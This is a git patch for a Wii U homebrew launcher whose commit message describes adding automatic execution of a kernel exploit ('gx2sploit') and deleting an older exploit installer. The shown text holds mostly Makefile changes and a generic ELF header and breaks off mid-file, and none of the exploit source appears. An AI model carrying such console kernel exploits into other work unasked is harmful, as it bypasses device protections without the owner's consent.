From cfaf2bbc6d4e3252ec636fc980de90ba6d40a54d Mon Sep 17 00:00:00 2001 From: dimok789 Date: Sun, 6 Nov 2016 23:16:13 +0100 Subject: [PATCH] - added automatic gx2sploit execution and detection of existing environment - the RPX file can now be used in a channel with for example the NUSPacker (HBL works now as a standalone channel with no PPC exploit pre-requisite like the browser exploit) - adaptions in sd_launcher - fixed listing ELF files - fix launching of ELF files from HBL channel - since HBL RPX does not use 0x0080000 area anymore, the maximum homebrew size is increased to 0x800000 - 0x2000 bytes - removed browser installer from RPX branch as it is of no use here NOTE: A channel will not yet be provided. app.xml, cos.xml, meta.xml and the icons/splash images will be provided later. Possible title id choice 00050000-13371337 :P. --- .gitignore | 2 + Makefile | 236 ++++++--- installer/Makefile | 76 --- installer/crt0.S | 8 - installer/elf_abi.h | 591 ----------------------- installer/kernel_patches.S | 282 ----------- installer/kexploit.c | 770 ------------------------------ installer/kexploit.h | 104 ---- installer/launcher.c | 561 ---------------------- installer/logger.c | 74 --- installer/logger.h | 86 ---- installer/structs.h | 32 -- installer/types.h | 22 - sd_loader/Makefile | 5 +- sd_loader/src/entry.c | 582 ++-------------------- src/Application.cpp | 61 ++- src/Application.h | 6 +- src/common/common.h | 7 +- src/entry.c | 16 - src/kernel/gx2sploit.c | 331 +++++++++++++ src/kernel/gx2sploit.h | 14 + src/kernel/gx2sploit_asm.S | 37 ++ src/main.cpp | 26 +- src/menu/HomebrewLaunchWindow.cpp | 4 +- src/menu/HomebrewWindow.cpp | 23 +- src/menu/TcpReceiver.cpp | 8 +- src/menu/TcpReceiver.h | 2 +- src/utils/logger.c | 2 + src/utils/utils.S | 11 - src/utils/utils.h | 3 - 30 files changed, 676 insertions(+), 3306 deletions(-) delete mode 100644 installer/Makefile delete mode 100644 installer/crt0.S delete mode 100644 installer/elf_abi.h delete mode 100644 installer/kernel_patches.S delete mode 100644 installer/kexploit.c delete mode 100644 installer/kexploit.h delete mode 100644 installer/launcher.c delete mode 100644 installer/logger.c delete mode 100644 installer/logger.h delete mode 100644 installer/structs.h delete mode 100644 installer/types.h create mode 100644 src/kernel/gx2sploit.c create mode 100644 src/kernel/gx2sploit.h create mode 100644 src/kernel/gx2sploit_asm.S delete mode 100644 src/utils/utils.S diff --git a/.gitignore b/.gitignore index 4732176..f0fdb14 100644 --- a/.gitignore +++ b/.gitignore @@ -13,3 +13,5 @@ /udp_debug_reader/GeckoLog.txt /installer/sd_loader.h /*.rpx +/sd_loader/sd_loader.h +/sd_loader/*.bin diff --git a/Makefile b/Makefile index d4c4d9b..3f3cf2d 100644 --- a/Makefile +++ b/Makefile @@ -2,107 +2,205 @@ # Clear the implicit built in rules #--------------------------------------------------------------------------------- .SUFFIXES: - +#--------------------------------------------------------------------------------- +ifeq ($(strip $(DEVKITPPC)),) +$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") +endif +ifeq ($(strip $(DEVKITPRO)),) +$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO") +endif ifeq ($(strip $(WUT_ROOT)),) $(error "Please ensure WUT_ROOT is in your environment.") endif - -ifeq ($(findstring CYGWIN,$(shell uname -s)),CYGWIN) -ROOT := $(shell cygpath -w ${CURDIR}) -WUT_ROOT := $(shell cygpath -w ${WUT_ROOT}) -else -ROOT := $(CURDIR) -endif - - +export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) +export LIBOGC_INC := $(DEVKITPRO)/libogc/include +export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii export PORTLIBS := $(DEVKITPRO)/portlibs/ppc -include $(WUT_ROOT)/rules/rpl.mk +PREFIX := powerpc-eabi- -AS := $(PREFIX)as +export AS := $(PREFIX)as +export CC := $(PREFIX)gcc +export CXX := $(PREFIX)g++ +export AR := $(PREFIX)ar +export OBJCOPY := $(PREFIX)objcopy -TARGET := $(notdir $(CURDIR)) -BUILD := build -SOURCE := src \ - src/dynamic_libs \ - src/fs \ - src/game \ - src/gui \ - src/kernel \ - src/loader \ - src/menu \ - src/network \ - src/patcher \ - src/resources \ - src/settings \ - src/sounds \ - src/system \ - src/utils \ - src/video \ - src/video/shaders -INCLUDE := src -DATA := data \ - data/images \ - data/fonts \ - data/sounds -LIBS := -lgcc -lcrt -lcoreinit -lproc_ui -lnsysnet -lsndcore2 -lvpad -lgx2 -lgd -lpng -lz -lfreetype -lmad -lvorbisidec +export ELF2RPL := $(WUT_ROOT)/bin/elf2rpl -CFLAGS += -O3 -std=gnu11 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing -CXXFLAGS += -O3 -std=gnu++11 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing +#--------------------------------------------------------------------------------- +# TARGET is the name of the output +# BUILD is the directory where object files & intermediate files will be placed +# SOURCES is a list of directories containing source code +# INCLUDES is a list of directories containing extra header files +#--------------------------------------------------------------------------------- +TARGET := homebrew_launcher +BUILD := build +BUILD_DBG := $(TARGET)_dbg +SOURCES := src \ + src/dynamic_libs \ + src/fs \ + src/game \ + src/gui \ + src/kernel \ + src/loader \ + src/menu \ + src/network \ + src/patcher \ + src/resources \ + src/settings \ + src/sounds \ + src/system \ + src/utils \ + src/video \ + src/video/shaders +DATA := data \ + data/images \ + data/fonts \ + data/sounds +INCLUDES := src + +#--------------------------------------------------------------------------------- +# options for code generation +#--------------------------------------------------------------------------------- +CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ + -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) +CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ + -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) +ASFLAGS := -mregnames +LDFLAGS := -nostartfiles -T $(WUT_ROOT)/rules/rpl.ld -pie -fPIE -z common-page-size=64 -z max-page-size=64 -lcrt \ + -Wl,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size \ + -Wl,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r \ + -Wl,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,-wrap,__eabi -Wl,--gc-sections + +#--------------------------------------------------------------------------------- +Q := @ +MAKEFLAGS += --no-print-directory +#--------------------------------------------------------------------------------- +# any extra libraries we wish to link with the project +#--------------------------------------------------------------------------------- +LIBS := -lcrt -lcoreinit -lproc_ui -lnsysnet -lsndcore2 -lvpad -lgx2 -lsysapp -lgd -lpng -lz -lfreetype -lmad -lvorbisidec + +#--------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level containing +# include and lib +#--------------------------------------------------------------------------------- +LIBDIRS := $(CURDIR) \ + $(DEVKITPPC)/ \ + $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 \ + $(WUT_ROOT)/lib + +#--------------------------------------------------------------------------------- +# no real need to edit anything past this point unless you need to add additional +# rules for different file extensions +#--------------------------------------------------------------------------------- ifneq ($(BUILD),$(notdir $(CURDIR))) +#--------------------------------------------------------------------------------- +export PROJECTDIR := $(CURDIR) +export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) +export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) +export DEPSDIR := $(CURDIR)/$(BUILD) -export OUTPUT := $(ROOT)/$(TARGET) -export VPATH := $(foreach dir,$(SOURCE),$(ROOT)/$(dir)) \ - $(foreach dir,$(DATA),$(ROOT)/$(dir)) -export BUILDDIR := $(ROOT) -export DEPSDIR := $(BUILDDIR) - -CFILES := $(foreach dir,$(SOURCE),$(notdir $(wildcard $(dir)/*.c))) -CXXFILES := $(foreach dir,$(SOURCE),$(notdir $(wildcard $(dir)/*.cpp))) -SFILES := $(foreach dir,$(SOURCE),$(notdir $(wildcard $(dir)/*.S))) +#--------------------------------------------------------------------------------- +# automatically build a list of object files for our project +#--------------------------------------------------------------------------------- +FILELIST := $(shell bash ./filelist.sh) +CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) +CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) +sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) +TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) +PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) -ifeq ($(strip $(CXXFILES)),) -export LD := $(CC) +#--------------------------------------------------------------------------------- +# use CXX for linking C++ projects, CC for standard C +#--------------------------------------------------------------------------------- +ifeq ($(strip $(CPPFILES)),) + export LD := $(CC) else -export LD := $(CXX) + export LD := $(CXX) endif -export OFILES := $(CFILES:.c=.o) \ - $(CXXFILES:.cpp=.o) \ - $(SFILES:.S=.o) \ - $(addsuffix .o,$(BINFILES)) +export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ + $(sFILES:.s=.o) $(SFILES:.S=.o) \ + $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) + +#--------------------------------------------------------------------------------- +# build a list of include paths +#--------------------------------------------------------------------------------- +export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ + -I$(CURDIR)/$(BUILD) -I$(WUT_ROOT)/include \ + -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 -export INCLUDES := $(foreach dir,$(INCLUDE),-I$(ROOT)/$(dir)) \ - -I$(ROOT)/$(BUILD) \ - -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 #--------------------------------------------------------------------------------- # build a list of library paths #--------------------------------------------------------------------------------- -export LIB_DIRS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ - -L$(PORTLIBS)/lib +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)) \ + -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib -.PHONY: $(BUILD) clean +export OUTPUT := $(CURDIR)/$(TARGET) +.PHONY: $(BUILD) clean install +#--------------------------------------------------------------------------------- $(BUILD): @[ -d $@ ] || mkdir -p $@ - @$(MAKE) --no-print-directory -C $(BUILD) -f $(ROOT)/Makefile + @$(Q)$(MAKE) -C sd_loader + @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile +#--------------------------------------------------------------------------------- clean: - @echo "[RM] $(notdir $(OUTPUT))" - @rm -rf $(BUILD) $(OUTPUT).elf $(OUTPUT).rpx $(OUTPUT).a + @echo clean ... + @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(OUTPUT).rpx + @$(MAKE) -C sd_loader clean +#--------------------------------------------------------------------------------- else -# workaround as wut overwrites the LIBPATHS with its rules -> not cool -export LIBPATHS := $(LIBPATHS) $(LIB_DIRS) +DEPENDS := $(OFILES:.o=.d) -DEPENDS := $(OFILES:.o=.d) +#--------------------------------------------------------------------------------- +# main targets +#--------------------------------------------------------------------------------- +$(OUTPUT).rpx: $(OUTPUT).elf +$(OUTPUT).elf: $(OFILES) -$(OUTPUT).rpx: $(OUTPUT).elf -$(OUTPUT).elf: $(OFILES) +#--------------------------------------------------------------------------------- +# This rule links in binary data with the .jpg extension +#--------------------------------------------------------------------------------- +%.elf: $(OFILES) + @echo "linking ... $(TARGET).elf" + $(Q)$(LD) $^ $(LDFLAGS) -o $@ $(LIBPATHS) $(LIBS) +# $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ +#--------------------------------------------------------------------------------- +%.rpx: %.elf +#--------------------------------------------------------------------------------- + @echo "[RPX] $(notdir $@)" + @$(ELF2RPL) $^ $@ + +#--------------------------------------------------------------------------------- +%.a: +#--------------------------------------------------------------------------------- + @echo $(notdir $@) + @rm -f $@ + @$(AR) -rc $@ $^ + +#--------------------------------------------------------------------------------- +%.o: %.cpp + @echo $(notdir $<) + @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.c + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.S + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) #--------------------------------------------------------------------------------- %.png.o : %.png diff --git a/installer/Makefile b/installer/Makefile deleted file mode 100644 index 491ec3f..0000000 --- a/installer/Makefile +++ /dev/null @@ -1,76 +0,0 @@ -PATH := $(DEVKITPPC)/bin:$(PATH) -PREFIX ?= powerpc-eabi- -CC = $(PREFIX)gcc -AS = $(PREFIX)gcc -CFLAGS = -std=gnu99 -Os -nostdinc -fno-builtin -ASFLAGS = -mregnames -x assembler-with-cpp -LD = $(PREFIX)ld -LDFLAGS=-Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 -lgcc -OBJDUMP ?= $(PREFIX)objdump -project := . -root := $(CURDIR) -build := $(root)/bin - -sd_loader_elf := ../sd_loader/sd_loader.elf - -CFLAGS += -DUSE_SD_LOADER -ASFLAGS += -DUSE_SD_LOADER - -all: clean setup main532 main550 main500 main410 main400 - -sd_loader.h: $(sd_loader_elf) - xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@ - -$(sd_loader_elf): - make -C ../sd_loader - -setup: - mkdir -p $(root)/bin/ - -main550: - make main FIRMWARE=550 - -main540: - make main FIRMWARE=532 - -main532: - make main FIRMWARE=532 - -main500: - make main FIRMWARE=500 - -main410: - make main FIRMWARE=410 - -main400: - make main FIRMWARE=400 - -main310: - make main FIRMWARE=310 - -main300: - make main FIRMWARE=300 - -main210: - make main FIRMWARE=210 - -main200: - make main FIRMWARE=200 - -main: sd_loader.h - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S - cp -r $(root)/*.o $(build) - rm $(root)/*.o - $(LD) -s -o $(build)/code$(FIRMWARE).bin $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) - -clean: - rm -rf $(build) - rm -rf sd_loader.h - make clean -C ../sd_loader - -print_stats: - @echo - @echo "code size : loadiine =>" `$(OBJDUMP) -h ../loadiine.elf | awk '/.kernel_code|.text|.menu_magic|.loader_magic|.fs_method_calls|.rodata|.data|.sdata|.bss|.sbss|.fs_magic/ { sum+=strtonum("0x"$$3) } END {print sum}'` / 7530312 diff --git a/installer/crt0.S b/installer/crt0.S deleted file mode 100644 index a51658b..0000000 --- a/installer/crt0.S +++ /dev/null @@ -1,8 +0,0 @@ -.extern __main - .globl _start -_start: - # load proper stack - lis r1, 0x1ab5 - ori r1, r1, 0xd138 - # jump to our main - bl __main diff --git a/installer/elf_abi.h b/installer/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/installer/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian */ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define 